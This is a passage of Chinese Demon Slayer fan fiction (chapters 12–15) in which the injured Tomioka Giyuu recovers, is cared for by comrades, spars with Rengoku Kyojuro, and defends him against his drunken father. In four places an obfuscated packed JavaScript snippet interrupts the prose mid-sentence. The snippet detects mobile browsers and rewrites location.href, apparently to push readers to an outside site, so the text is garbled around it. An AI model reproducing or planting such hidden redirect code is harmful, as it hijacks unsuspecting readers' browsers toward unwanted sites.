这群人欺软怕硬惯了,直接被富冈义勇的气势吓到。 他们你推我赶地离开了。 富冈义勇回过头,语气温和:“老人家,没事吧?” 林奶奶看到了富冈义勇的佩刀,他也是那些孩子的同伴。 她在内心叹息,他们村子欠了这些孩子多少啊。 “富冈先生。”炼狱杏寿郎在屋里坐不住,左思右想也不觉得自己应该被林奶奶护着,将日轮刀交给其他人,他就直接走了出去。 其他人自然也不愿意就这样什么都不做,紧跟着炼狱杏寿郎就往外走。 见到有人动手,他们正准备上前阻拦,就见到富冈义勇出现了。 见到炼狱杏寿郎一行人,富冈义勇点头示意。 在得知队员和鎹鸦都已经遇害,尸体已经被销毁,只留下日轮刀时,富冈义勇沉默不语。 是他来迟了。 “走吧。”富冈义勇转身,“我们该回去了。” “是。” 炼狱杏寿郎几个人和林奶奶告别,跟在富冈义勇身后到了村外集合点。 等到了集合点,富冈义勇的身影微晃,一个趔趄之下眼看就要摔倒。 “富冈先生!”炼狱杏寿郎连忙上前扶住他。 治疗组的人赶紧上前查看。 富冈义勇的伤口裂开了。 他刚刚急着找人,没空顾忌伤口,现下直接将伤口撕裂了。 他腹部的伤口比较深,本该静养才是。在富冈义勇准备去村子时,其他队员还准备拦住他。 “我是这次行动的负责人,不该让其他人在我不在场的时候行动。我需要保证你们的安全。” 他们根本拦不住。 富冈义勇半靠在炼狱杏寿郎怀里,呼吸有些乱。 他头晕得更厉害了。 富冈义勇试图站稳,炼狱杏寿郎在旁搀扶着他。 他抬头看向半空,现在他身上没什么力气,只能尽量提高自己的音量:“宽三郎,麻烦帮我告诉主公。” “之前失踪的队员和鎹鸦已经全部遇害,遗物仅找回日轮刀,村子的鬼已经被消灭。” “任务过程中并无队员伤亡。” “不……”有人想要说什么,却被旁边的人拦了拦。 只见那人摇了摇头,悄悄说:“这是水柱大人必须要做的汇报,你出什么声。等他汇报完,我们好趁机打晕他。到时候再让宽三郎把水柱大人受伤的事报回去啊。” 有道理。 很显然,像这个队员这么想的不止一个,炼狱杏寿郎就是行动最快的那一个。 见富冈义勇说完给主公的消息,直接二话不说打晕了他:“冒犯了,富冈先生。” 将富冈义勇交给治疗组的人处理伤口,炼狱杏寿郎站在原地。 他深呼吸着,垂在身侧的手攥紧。 他要变得更强才行。 只有变得更强,才不会成为累赘,不会让身边的人受伤。 12. 第 12 章 富冈义勇是被炼狱杏寿郎背回医疗室的。 疲惫、受伤像是鬼杀队队员的家常便饭,治疗室的大家在处理伤员一事上也格外得有经验。 换下队服,检查伤势,处理伤口,绷带包扎,再换上宽松的病号服。 一切都有条不紊地进行着。 富冈义勇躺在病床上,脸上带着些许苍白。 护士看了看体温计,37.5。 她轻轻叹气,因为伤口发炎,富冈先生又低烧了,明明才病好了没多久。 她隐去眼中的担忧,看向站在一旁的人:“炼狱先生,水柱大人有我们照顾,你可以去休息的。” 奔波了一天,在送富冈义勇到治疗室后,炼狱杏寿郎本该去休息的,但他一直在旁边守着。 “无妨,我在这里等富冈先生醒过来。”炼狱杏寿郎脸上挂着标志性的微笑,看不到丝毫的疲惫,“毕竟富冈先生是我打晕的,等他醒过来要好好道歉才是。” 护士恍然,原来富冈先生脖子上的淤青是这么来的。 想到富冈义勇强撑着身体自己行走的样子,护士在心里不禁赞同炼狱杏寿郎的行为。 干得真好啊,炼狱先生。 在离开前,护士在富冈义勇的头上贴了退烧贴。 因为是伤口发炎引起的,还是要尽可能避免发展成高烧。 房间变得安静下来,只有富冈义勇清浅的呼吸声。 炼狱杏寿郎静静地坐在床边。 在想到富冈义勇有可能是因为自己而受伤时,他就感到深深的内疚。 他不会让这种情绪绊住自己前进的步伐,但只有在看到富冈义勇躺在病床上睡着时,才觉得有些安心。 从小到大,他一直在努力提升自己的实力。 不放弃自己的天赋,去守护比自己弱小的人。 在父亲辞去炎柱后,除了照顾年幼的弟弟,也要关心着父亲的身体。 他的志向没有变,只是多了一项要尽快成为炎柱。 承担起父亲的职责,去守护更多的人。 坚持了这么久,他的心从未动摇过。 “真羡慕杏寿郎你的性格,像是什么也压垮不了你一样。” “看到杏寿郎就感觉身上的活力完全恢复了!” 能给身边的人带来希望,这是炼狱杏寿郎一直很自豪的事。 这些年来,他从未喊过苦,也没有喊过累。 这次和富冈义勇执行任务的时候也一样,只要富冈义勇开口,炼狱杏寿郎又能做得到,就会直接去做。 但,一想到是因为自己而让富冈义勇受伤,甚至是被人类而伤时,他难得感到一些的茫然。 不,他不该迷茫的。 守护弱小从来不会错。 “咳,咳咳。”富冈义勇醒了过来,轻咳声打断了炼狱杏寿郎的思绪。 富冈义勇觉得自己很晕,意识也迷迷糊糊的,这种感觉很是令他心烦。 他观察了一下周围,这里是……治疗室? 记得之前他好像还在林子里,后面就忽然失去了意识。 是因为伤势加重晕倒了吗? 想到这个可能,富冈义勇不自觉地皱皱眉。 “富冈先生,对不起,之前是我打晕了你。”炼狱杏寿郎站起来,直接对着富冈义勇鞠躬道歉。 不是他自己晕倒的吗? 富冈义勇心里的厌烦散了几分,却又变成了不解:“为什么?” 带着失去意识的他,不是更麻烦吗? 由于低烧而引起的身体无力,富冈义勇的声音很小,还带着几分虚弱感。 这让炼狱杏寿郎再次想到了自己的弟弟。 他笑了笑:“因为富冈先生不顾伤势继续行动,对我们来说也是一种麻烦。” “我们会担心富冈先生,手里该做的事也会做不好,所以富冈先生也要好好关注自己的身体才是。” 富冈义勇眨了眨眼,然后点了点头:“我明白了。” 是他添麻烦了。 “富冈先生要不要喝点水?”炼狱杏寿郎问,“要吃东西吗?” 现在已经是午后,富冈义勇晕了这么久,也多少觉得饿了。 他点头,表示自己水和食物都想要。 炼狱杏寿郎忍住想要揉富冈义勇脑袋的手,起身去给他拿吃的:“那富冈先生在这里好好躺着休息。” 见炼狱杏寿郎离开,富冈义勇就闭上了眼睛。 眩晕感夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153510|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂着疼痛,让他很是不舒服。 他抬起左手看了看,划伤的指尖也被仔细地包扎好了。 等病好了,想和炼狱切磋。 嗓子有点疼,想喝萝卜鲑鱼的汤。 算了,还是喝水吧,不能麻烦炼狱帮他做吃的。 不知道宽三郎有没有把消息传给主公。没能救下那些人,真的很抱歉。 后面再执行救援任务,尽量自己一个人行动吧,不想让大家担心,也不想麻烦大家。 说起来,炼狱说他想肩负起父亲的职责,是有什么隐情在吗?直接问他又不太好,和其他人打听似乎也不太礼貌。 果然还是等病好以后直接和炼狱打一架好了。 想知道他和炼狱哪个更厉害。 在富冈义勇脑海里充斥着杂七杂八的念头时,炼狱杏寿郎走了进来,手里端着一个盘子,盘子上碗和杯子。 考虑到富冈义勇现在的病情,炼狱杏寿郎没有拿饭团过来,而是呈了碗味增汤过来。 炼狱杏寿郎将富冈义勇扶起来,在他身后垫了软垫让他靠着,又把小桌子摆到床上,让盘子放上去。 “谢谢。”富冈义勇声音变得有些沙哑,看来是低烧引起了嗓子的不适。 炼狱杏寿郎脸上的笑意不变:“杯子里面是药,护士小姐说要吃完饭后喝。” 富冈义勇“嗯”了一声,就这样看着炼狱杏寿郎,也不动勺子。 两个人面面相觑。 炼狱杏寿郎想到了什么。 之前富冈义勇吃饭团也躲在一边,是不好意思被人看着吃饭吗? 他直接笑出声,在富冈义勇不解的眼神里,他提出了告辞。 已经道过谦,富冈先生也需要养病,他就不多打扰了。 “富冈先生吃完东西放着就好,一会会有人来收拾的。”在离开前,炼狱杏寿郎又不禁叮嘱。 见富冈义勇老实点头答应,这才走了出去。 外面的阳光正好,照在身上是暖暖的。 炼狱杏寿郎叉腰站着:“啊,忘记问那天晚上到底发生什么了。” 等富冈先生病好的时候再来问吧。 他也得好好努力,尽早成为一名像富冈先生这样的柱啊。 13. 第 13 章 因为低烧,富冈义勇的大脑总是昏昏沉沉的,为了尽快好起来,他几乎一直在睡,也就没有察觉到病房门外的热闹。 “富……不,水柱大人他怎么样?” “小声点,看样子还在睡,别吵到他。” “听护士小姐说他伤得不轻,腹部差一点就被直接贯穿了。” “听着就好疼啊。” “对了,我找炼狱先生打听了下,说富冈喜欢吃萝卜鲑鱼。我们伤也快好了,去厨房给他做个萝卜鲑鱼吃?” “叫什么富冈,现在人家是水柱了,放尊敬点。” “推我做什么,和富冈一起行动的人都说了,他好像不喜欢自己被叫水柱,总让他们直接叫富冈。我也觉得富冈好,比水柱大人亲近多了。” “……好吧。但富冈现在发着烧,咱们得做得清淡点。” “不过你们没有发现一个问题吗?” “什么问题?” “治疗室的厨房哪来的鲑鱼啊?” “……” “……” “嗯……那我们出去买一份?” “还不知道富冈什么时候能醒,买回来就算温着也不好吃了。” “岩柱大人的瀑布里面有鳟鱼,咱们捉几只回来?” “我觉得可以。那你们去捉鱼,我去处理萝卜。” 就这样,挤在门口的一行人散开了。 他们大多是之前出任务过来疗伤的,也是和富冈义勇同一期的队员。得知富冈义勇受伤,他们就不约而同地过来探病。 不过见富冈义勇还在睡,他们也就没进去打扰,一堆人挤在病房外闲聊。 现在有了要干的事,一群人捉鱼的捉鱼,处理萝卜的处理萝卜,还有人洗着锅接着水,可谓忙得不亦乐乎。 等富冈义勇睡醒时,就看到身侧的柜子上压着一张纸条。 他挪了挪身体,半坐起来,伸手拿过来纸条。 富冈,我们给你煮了萝卜鳟鱼汤。厨房没有鲑鱼,我们就捉了鳟鱼代替。两种鱼做出来的味道应该差不多,想喝的话可以叫护士小姐给你盛。不知道你喜不喜欢,要是觉得不好喝,一定要和我们说,我们下次提前买鲑鱼给你做! 下面的署名富冈义勇很眼熟,因为这些都是和他一起参加特训的人。 他愣愣地坐着,眼睛仿佛没有聚焦一样出着神。 他值得这么被关心吗? 他明明什么都没做。 富冈义勇将纸条放在桌上,抚上自己的心口。 发烧还没有好吗? 心脏有些难受。 他很珍视这些人的关心。 但被忽视的记忆仿佛如潮水一般涌来,几乎要把富冈义勇淹没。 那些甜蜜而又充满温情的画面,那些充满着血色和死亡寂静的片段,不断地在富冈义勇脑海里闪过。 他捂着心口,急促地喘息着。 美好的记忆里,充斥着无力与悲伤。 停下来…… 不要再去想了…… 不可以再回忆了…… 眼泪不由自主地从眼角落下。 一滴,又一滴,重重地砸在被子上,洇出一道道水痕。 “咳,咳咳。”因为呼吸不畅,富冈义勇咳嗽了起来。 他快速调整着呼吸,让自己的心境变得平稳。 不可以再想了! 病房安静了下来。 富冈义勇恢复了平静,擦去了眼角的泪痕。 父亲,母亲,我现在每天都吃得很饱,也长高了不少。 姐姐,我现在吃住都不用发愁,我把自己照顾得很好。 还有锖兔,我也有好好活着。 所以,我现在很好,没什么可担心的。 富冈义勇这样告诉着自己。 他侧头望着纸条。 可是,他该如何回应这些关心? 他有和这些人几乎没有说过几句话。之前特训的时候也是一样,关心他的身体,给他做鱼汤,还为他的训练成果而感到高兴。 现下更是直接来做了萝卜鳟鱼给他吃。 为什么? 他真的有这样的资格吗? “富冈先生,你醒了啊?”护士来查房,就看到了坐着的富冈义勇。 她走了进来,就看到富冈义勇那泛红的眼眶。 “怎么了?是做噩梦了吗?还是身体不舒服吗?”护士连忙担忧地问。 富冈义勇摇摇头,然后看向旁边的纸条。 护士恍然,笑着说:“是在这里养病的队员,他们借用了厨房,煮了一大锅萝卜鳟鱼汤。富冈先生要是想喝的话,我去给你盛。” 富冈义勇藏在被子里的手攥紧,不知道该如何回答。 有人封闭了自己的世界,强硬地斩断过去,也不知该如何和他人相处。 在他的心里,始终有一个隐藏的念头——与他相关的人,都会遭遇不幸。 姐姐是,锖兔是。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153511|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 所以他必须变强,强到能保护他人,而不是被人保护。 他明白人性的善良,的确有人会无条件地对人好。 他也明白人性的卑劣,就像有人会因为欲.望而伤害同类。 可富冈义勇将自己困住。 他不会因为世间的丑陋而停下脚步,却会因为美好而善良的举动而手足无措。 因为在他看来,一个人的世界是最好的。 不会给人添麻烦,不会让其他人担心。 本该一直这样下去…… 富冈义勇忽然想到了锖兔那年对他伸出的手。 他这样,算是替他们好好活着吗? “富冈先生?”护士担忧地看着富冈义勇,“富冈先生?” 富冈义勇回神,对上护士的眼睛,缓缓道:“麻烦帮我盛一碗鱼汤吧。” 他不可以辜负身边人的好意。 “能麻烦帮我和他们说一声谢谢吗?” 即使他给出的回应只有一声“谢谢”。 护士温柔地笑笑:“当然可以。” 她将体温表递给富冈义勇:“在我回来前,富冈先生来测个体温吧。身体没有哪里不舒服吧?” 富冈义勇接过来体温表,老老实实夹好:“没有不舒服。” 伤口虽然还有些疼,但他可以承受。心脏也没有刚刚那么痛,只是还有些累。 护士望着富冈义勇水润又泛红的双眼,在心里叹气。 真拿富冈先生没办法。 护士离开了病房,富冈义勇单手拉了拉被子,将自己裹紧。 发烧真的很难受。他想早点退烧了。 等护士端着鱼汤回来,体温计也到了时间。 由于鱼汤还是烫着,碗被放到了小桌子上。 护士对着体温计看了看,有些高兴:“富冈先生,烧退了。” “但为了保险起见,一会再喝一次药吧。” 富冈义勇点头:“好。” “那富冈先生我先去忙,一会再来收拾东西。”护士离开了病房。 富冈义勇拿起勺子。 清澈的汤汁,软烂的萝卜,鲜美的鱼肉。 虽然味道不一样,但富冈义勇能感觉到汤汁的温暖与美味。 或许,他可以试一试多和其他人接触。 希望到时候的他不会再干巴巴地说一声谢谢。 炼狱看上去就很会和人相处,等病好了多问问他吧,正好还能找他切磋。 14. 第 14 章 产屋敷耀哉收到宽三郎的消息时,正在翻阅新收集到的消息。 “派去的孩子们都牺牲了吗?”产屋敷耀哉放下手里的信件,眼眸微微低垂。 他沉默着,将所有情绪全部压在心底。 鬼舞辻无惨。 一定要在这一代终结你。 产屋敷耀哉看向宽三郎,温柔地笑笑:“宽三郎,辛苦你了,告诉义勇让他好好养伤。” 等宽三郎离开,他挣扎着起身,看着搀扶着他的天音:“天音,陪我去安葬这些孩子吧。” 天音微微点头:“好。” “这次的任务也不知道义勇和杏寿郎相处得怎么样,希望杏寿郎的开朗能感染到义勇吧。” 在暖阳与清风里,产屋敷耀哉和天音安葬了逝去的灵魂。 两个人站在墓地中,产屋敷耀哉注视着满地的英魂。 延续了千年的仇恨与血泪,总要有终结的那天。 鬼舞辻无惨,无论用什么办法,我都要消灭你。 “我不会离开你身边的。”天音忽然说。 产屋敷耀哉一时无言。 天音一直很理解他,也很支持他,但正因如此,他的心中除了爱恋,还有无尽的歉疚:“抱歉。” 天音只是摇头:“无论你做什么决定,我都会陪你一起。” 产屋敷耀哉轻抚上天音的脸颊:“是我拖累了你。只是我已经不想再看到有孩子死去了。” “在我还活着的时候,我一定要为鬼杀队创造出击杀鬼舞辻无惨的机会。” 天音闭上眼,贴近产屋敷耀哉的胸膛:“嗯。” 产屋敷耀哉叫来了自己的鎹鸦,让他继续按计划找人。 那些孩子,本该好好享受这样的晴空与蓝天。 “咳,咳。”压抑的愤怒与悲伤让产屋敷耀哉的身体有些撑不住了。 天音搀扶着他,回到了屋里休息。 所有人都在恪尽职守,只为夺回夜晚的安眠。 刀刃砍进鬼的身体,分不清是谁的血液流淌。 急促的喘息,颤抖的身体,鬼杀队的队员,半步不曾后退。 擦干眼角的血迹,握住手中的刀,在一个个夜晚里,与鬼拼搏到底。 这就是鬼杀队。 除尽世间一切恶鬼。 是他们所有人的心愿。 日复一日,夜复一夜。 从未后悔。 养好伤的富冈义勇换回了队服,戴好佩刀,穿好羽织。 “宽三郎,你知道炼狱在哪里吗?” 和人切磋可以精进实力,实力变强以后就可以保护更多的人。 所以富冈义勇一直心心念念和炼狱切磋。 至于为什么不找音柱和岩柱? 因为悲鸣屿先生看上去太强了,他找过去完全是浪费人家的时间。 而宇髄先生好像不太喜欢他的性格,他还是不过去惹人心烦了。 宽三郎知晓炼狱杏寿郎家的位置,便飞在富冈义勇前面,给他带路。 “宽三郎,你说我要买些东西带过去吗?” “炼狱说他喜欢吃红薯,我要不要买点红薯?” “不知道炼狱是不是一个人在家,如果他家里还有其他人怎么办?” 好久没有去别人家里的富冈义勇有些无措。 宽三郎落到富冈义勇的肩头,用脑袋蹭蹭他的脸颊:“如果义勇想带东西,那就买些吃的东西吧。” “像是糕点这些,都可以的。” 鎹鸦之间不讲究这些礼节,但在耳濡目染之下,他们也多少学会了人类复杂的社交关系。 富冈义勇看到前面正好有一家点心铺,就直接进去买了一些。在看到了红薯馅儿的点心时,他还特意买多了一点。 就这样,拎着点心,富冈义勇走到了炼狱杏寿郎的家门口。 大门是打开着的,有个少年正站在院子里拿着扫帚打扫落叶。 富冈义勇看到了少年的长相。 这个人和炼狱长得好像。 少年注意到富冈义勇,疑惑地问:“请问您是?” “我是富冈义勇,请问这是炼狱杏寿郎的家吗?”富冈义勇问。 少年恍然:“我听哥哥提起过富冈先生。哥哥在后面的院子里训练,我带您过去。” 他拿起扫帚,引着富冈义勇往后面走。 “我叫炼狱千寿郎,富冈先生叫我千寿郎就好。”炼狱千寿郎和炼狱杏寿郎很像,脸上也挂着浅浅的笑意,“哥哥看上去很喜欢富冈先生,前几天和我闲聊也经常提起您。” “对我不必有敬称的。”富冈义勇忽然道。 炼狱千寿郎笑了笑:“是。” 等两个人到了院子,炼狱杏寿郎正双手挥动着木刀。 炼狱杏寿郎听到声音,停下动作,看了过去,一时有些惊讶。很显然没想到富冈义勇会过来找他。 “富冈先生,上午好。”炼狱杏寿郎的声音依旧那么充满力量。 富冈义勇将手里拿的点心递过去:“我来找你切磋,这是带的点心。” 他想了想,补充道:“有红薯馅儿的。” 炼狱杏寿郎接过点心,高兴地笑起来:“富冈先生这么期待和我切磋吗?这可真是我的荣幸。” “好!那就畅快地打一场吧。”他把点心交给炼狱千寿郎,又去拿了一把木刀过来。 切磋而已,木刀足够。 富冈义勇将自己的日轮刀取下来,接过炼狱杏寿郎递过来的木刀。 他握了握刀把,熟悉着木刀的重量。 炼狱千寿郎抱着点心站在走廊处,看着哥哥和富冈义勇面对面站着。 “富冈先生,请多指教了。”炼狱杏寿郎率先出手。 双手握紧手中的木刀,炼狱杏寿郎以极快的速度就朝富冈义勇冲过去。 炎之呼吸,一之型,不知火。 富冈义勇反应很快,朝右避开攻击,同时挥动手中的刀,打向炼狱杏寿郎的侧腰。 水之呼吸,三之型,流流舞。 炼狱杏寿郎反应同样不慢,刀刃翻转,拦住富冈义勇的招式。 炎之呼吸,二之型,上升炎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153512|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天。 火焰与流水的碰撞,刀与刀的交锋。 炎之呼吸以近战为主,攻势强而有力。 水之呼吸攻守兼备,不论防御还是攻击都不容小觑。 富冈义勇双手握紧刀把,用力弹开炼狱杏寿郎的刀身。 炼狱的力气好大,速度也很快。 不能硬拼近战,需要拉开距离。 富冈义勇脚步微调,迅速扭动腰身,蓝色的水波应时而出。 水之呼吸,陆之型,扭转漩涡。 为了避开水波,炼狱杏寿郎向后退了三步。 必须打破富冈先生的防御才行。 他右手重新握紧刀把,用尽全力,直直地朝富冈义勇攻过去。 炎之呼吸,五之型,炎虎。 炎火变作猛虎,无视前方的所有阻碍,直直地冲过去。 富冈义勇迅速变招,停下扭动的身体,将刀放在自己的身前。 水之呼吸,十一之型,凪。 以他为中心,无数的水瞬间出现,汹涌的水波又在下一秒变得平静。 这是富冈义勇这些年里自创的招式,让自己进入宁静止水的状态,进而防御靠近的所有招式。 海纳百川,无声的海面却如深渊一般,可以吞噬一且事物。 炎火的老虎撞到了海面,又在顷刻间全部吞没。 “好厉害!”炼狱杏寿郎脸上满是兴奋,他再次出招,继续贴近富冈义勇。 富冈义勇足下用力,用流流舞绕到炼狱杏寿郎的身侧,手腕微动。 水之呼吸,肆之型,打击之潮。 炼狱杏寿郎很快扭身,抵挡住富冈义勇用出的攻击。 炎之呼吸,四之型,盛炎的蜿蜒。 攻守互换! 水波蜿蜒,带着凌厉之势。 炎火旋转,抵御周身的攻击。 在富冈义勇的不断攻击下,炼狱杏寿郎的刀,断了。 炼狱杏寿郎看着自己断裂的刀刃,愣了几秒,又畅快地笑起来:“真不愧是富冈先生啊。” 富冈义勇表情未变,一如既往的面无表情。他甩了甩手腕,和炼狱拼力气真的拼不过。 “炼……”富冈义勇一愣,想到这是炼狱的家,他们都是炼狱。他移开视线,继续说,“杏寿郎,你的力气很大,炎之呼吸的攻势也很强。假以时日,你一定可以成为炎柱的。” 注意到富冈义勇的称呼,炼狱杏寿郎爽朗地大笑起来。 他们这算成为朋友了吗? “什么炎柱?无聊又无谓。”漫不经心而又带着贬义的声音响起,“成了柱又怎么样?反正也成不了什么大事。” 炼狱杏寿郎的笑容僵住。 富冈义勇看向声音的来源。 这个人和炼狱杏寿郎相似的样貌,手里拿着一壶酒,穿着宽松的衣服,满脸的颓废。 杏寿郎的父亲吗? 富冈义勇不着痕迹地皱眉,转身面向这个人:“您的说法恕我不接受。” 冷静的话语,让人不容置疑。 亦如那晚的信任。 15. 第 15 章 炼狱杏寿郎的父亲是炼狱槙寿郎,也是前一任炎柱。 以前也和炼狱杏寿郎一样,是个热情开朗的男人。可突然有一天,他辞去了剑士一职。 炼狱杏寿郎不知道父亲怎么了,在母亲去世后父亲更是每天浑浑噩噩,终日酗酒。 原本还会热情培养他和弟弟剑术的父亲也不再提及任何相关的事,对于他加入鬼杀队一事也觉得无所谓。 不承认他的努力,不觉得他能做成什么大事。 面对父亲的否定,炼狱杏寿郎不会动摇自己前进的心,但他也不是什么感觉也没有。 就像是孤身一人走在漫漫黑夜,看不清前方也看不到来处,只有心中的灯火明亮,照着看不到头的小路。 在那天晚上听到富冈义勇的鼓励与信任时,炼狱杏寿郎心里是很开心的。 蓝色海浪中亮着莹莹白光,轻柔而温暖,也让他心中的火烧得更亮。 在看到富冈义勇将他护在身后,直面自己的父亲时,炼狱杏寿郎心里有种说不出的感觉。 作为家中的长子,他要照顾父亲,也要照顾年幼的弟弟。如此被维护,还是第一次。 他感到胸腔中翻涌的情绪,有些酸涩,也有些开心。 炼狱杏寿郎在心中叹气,从富冈义勇的身后走上前,对父亲说:“父亲,你卖酒回来了啊。” 这是他们家中的事,不能让富冈先生为难。 炼狱槙寿郎手里握着酒:“杏寿郎,我说过的,你和我一样没什么天分,成为柱又怎么样?还不是什么人也保护不了。” 炼狱杏寿郎垂在身侧的手攥紧,却又无力地放开。 是,就像他这次什么也没做到,甚至可能还害富冈义勇受了伤。 他站在原地,脸上再无半分笑意。 “杏寿郎并非您所说的那样。” 富冈义勇的声音从炼狱杏寿郎的身后传来。 他面容依旧平静,缓缓走到炼狱杏寿郎的身前:“他的实力经由刚刚的切磋我最知晓,他的优势很明显,只是需要时间去熟练。” “而他作为鬼杀队的一员,每一次任务都是为了守护他人。我并不同意您的观点。而且杏寿郎的性格很好,如果他成为炎柱,一定会做得更好。” 炼狱槙寿郎注意到富冈义勇胸.前的金色扣子,微微眯眼,又轻蔑一笑:“原来你这臭小鬼已经是柱了。” “小子,我告诉你,就算成为柱又怎么样?天底下鬼那么多,你杀得完吗?鬼舞辻无惨的强大你能想象吗?” “和鬼的缠斗已经延续了千年,那么多的天才都没能杀了鬼舞辻无惨,你敢认为你能杀掉他吗?如果鬼舞辻无惨不死,鬼的数量也不会减少半分!” 富冈义勇脸色不变,从容回应:“我确实没见过鬼舞辻无惨,但与鬼的战斗从来不是没有意义的。” “杀掉一个鬼,就可以减少无辜者的死亡,不会让再有人家破人亡。” 炼狱槙寿郎轻呵一声,语气激动:“为了保护你所谓的无辜者,就要连自己最爱的人都保护不了吗?为了所谓的职责,我没能守护好杏寿郎的母亲,只能看着她因病而逝!” 炼狱杏寿郎嘴唇微动,却又保持着沉默。母亲的死,是他和父亲永远难以释怀的事。 “千年前,初代剑士是实力最为强大的一代,更是所谓天才中的天才。他们都对鬼无可奈何,甚至白白葬送了性命。作为普通人,又为什么要拼上性命去和鬼搏斗?”炼狱槙寿郎继续说,“人类的能力在出生时就注定了,天之骄子不过寥寥数人,余下的尽皆庸才,都是不值一文的草芥!” “杏寿郎也是,你本就天资平平,和鬼战斗只会白白丧命!” 富冈义勇抬头,与炼狱槙寿郎对视,眼底是极致的冷静与理智:“我并非什么天才,却也并非草芥。我认识一名天才,他为了在鬼的手里保护其他人而牺牲。我从不觉得这是无所谓的。” 炼狱槙寿郎举起手里的酒壶,语气激动:“为了这冠冕堂皇的理由而白白失去性命,才是最可笑的!” 富冈义勇握紧了手中的刀。 原本平稳的海面,开始变得汹涌。 他的姐姐是最普通的人,挥不动刀,打不了架,当年却只是为了保护他,全拼着性命也要救他。 锖兔是他这些年来见过最有天赋的人,全呼吸常中他早已掌握,剑术更是比他厉害很多,当年更是以一己之力斩杀下弦六的恶鬼。 这些人的牺牲,这些的觉悟,才不是所谓可笑的理由! 作为被守护的人,作为被保护的人,他绝不允许有人这样轻视他们的牺牲! 富冈义勇原本平静的面容变得冷淡了不少,海蓝色的眼眸犹如冻结的海面,声音却平静得可怕:“他们,不是你可以评价的。” 他紧握着手里的刀,指尖都有些发白。 愤怒仿佛要冲破胸膛。 炼狱槙寿郎因为富冈义勇那冰冷的眼神而愣住,随即化作更深的讽刺:“随你们的便吧……天真的小鬼。” 他端起酒壶,灌了一口酒,晃晃悠悠地回到了屋里。 炼狱千寿郎站在不远处,抱着点心的他脸上尽是无措。 富冈义勇调整着呼吸,让自己的情绪重新恢复平静。 愤怒与悲伤一样,会扰乱他的判断。 他不可以这样。 炼狱杏寿郎站在富冈义勇的身后,看着他因为调整呼吸而起伏的肩膀,想要道歉的话尚未出口,就看到富冈义勇转过了身。 他恢复了平常的样子,眼底不再翻涌着任何情绪:“抱歉,失礼了。” 炼狱杏寿郎只觉得眼角有些滚烫,他露出笑容:“不,谢谢您,富冈先生。” 所谓普通人,所付出的努力真的毫无用处吗? 所谓天才,就真的比普通人要更加轻松吗? 在背富冈义勇回治疗室的时候,炼狱杏寿郎曾留意到他的手,上面充斥着伤痕,也有着长时间握刀留下的厚茧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153513|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 为了自己坚持的信念而拼尽全力,从来不是所谓的可笑理由。 富冈义勇扭头看向炼狱千寿郎,道:“要一起吃点心吗?” 他们已经切磋完,也没有什么事做,可以吃吃东西聊聊天。当年他和锖兔也是这么做的,应该没什么问题。 炼狱杏寿郎笑着眯起眼睛,开心地“嗯”了一声。 他再一次感概,富冈先生真的是个很好的人。 三个人来到了室内,围着小桌子坐下来。 炼狱千寿郎泡了茶,和哥哥一人拿了一个红薯馅儿的点心吃。 “好吃!”炼狱杏寿郎发出满足的声音。 富冈义勇安静地看着他,也伸手拿了一个点心。 松松软软,不是很甜,馅料也很充实。 回去的路上再买点好了。 “说起来富冈先生,我一直很想问,你之前是为了保护我才受的伤吗?”炼狱杏寿郎忽然开口。 富冈义勇正端着杯子喝茶,温言,将杯子放下来,用手托着。他摇了摇头,回忆了一下那天晚上的情况:“鬼可以让人沉睡,我虽然可以快速清醒,但还是需要时间。被鬼蛊惑的人就是趁我意识不清醒的时候刺伤我的。” 似乎是察觉到炼狱杏寿郎的心思,富冈义勇又补充道:“你昏睡前给出的信息很关键,不然我也会因为没有察觉而睡过去。” 炼狱杏寿郎一直悬着的心松了下来,只是眼中还是闪过一丝复杂:“是吗?原来富冈先生真的不是被鬼伤到的。” 富冈义勇不觉得这有什么:“鬼会蛊惑人类,所以做出什么事也都是正常的。” 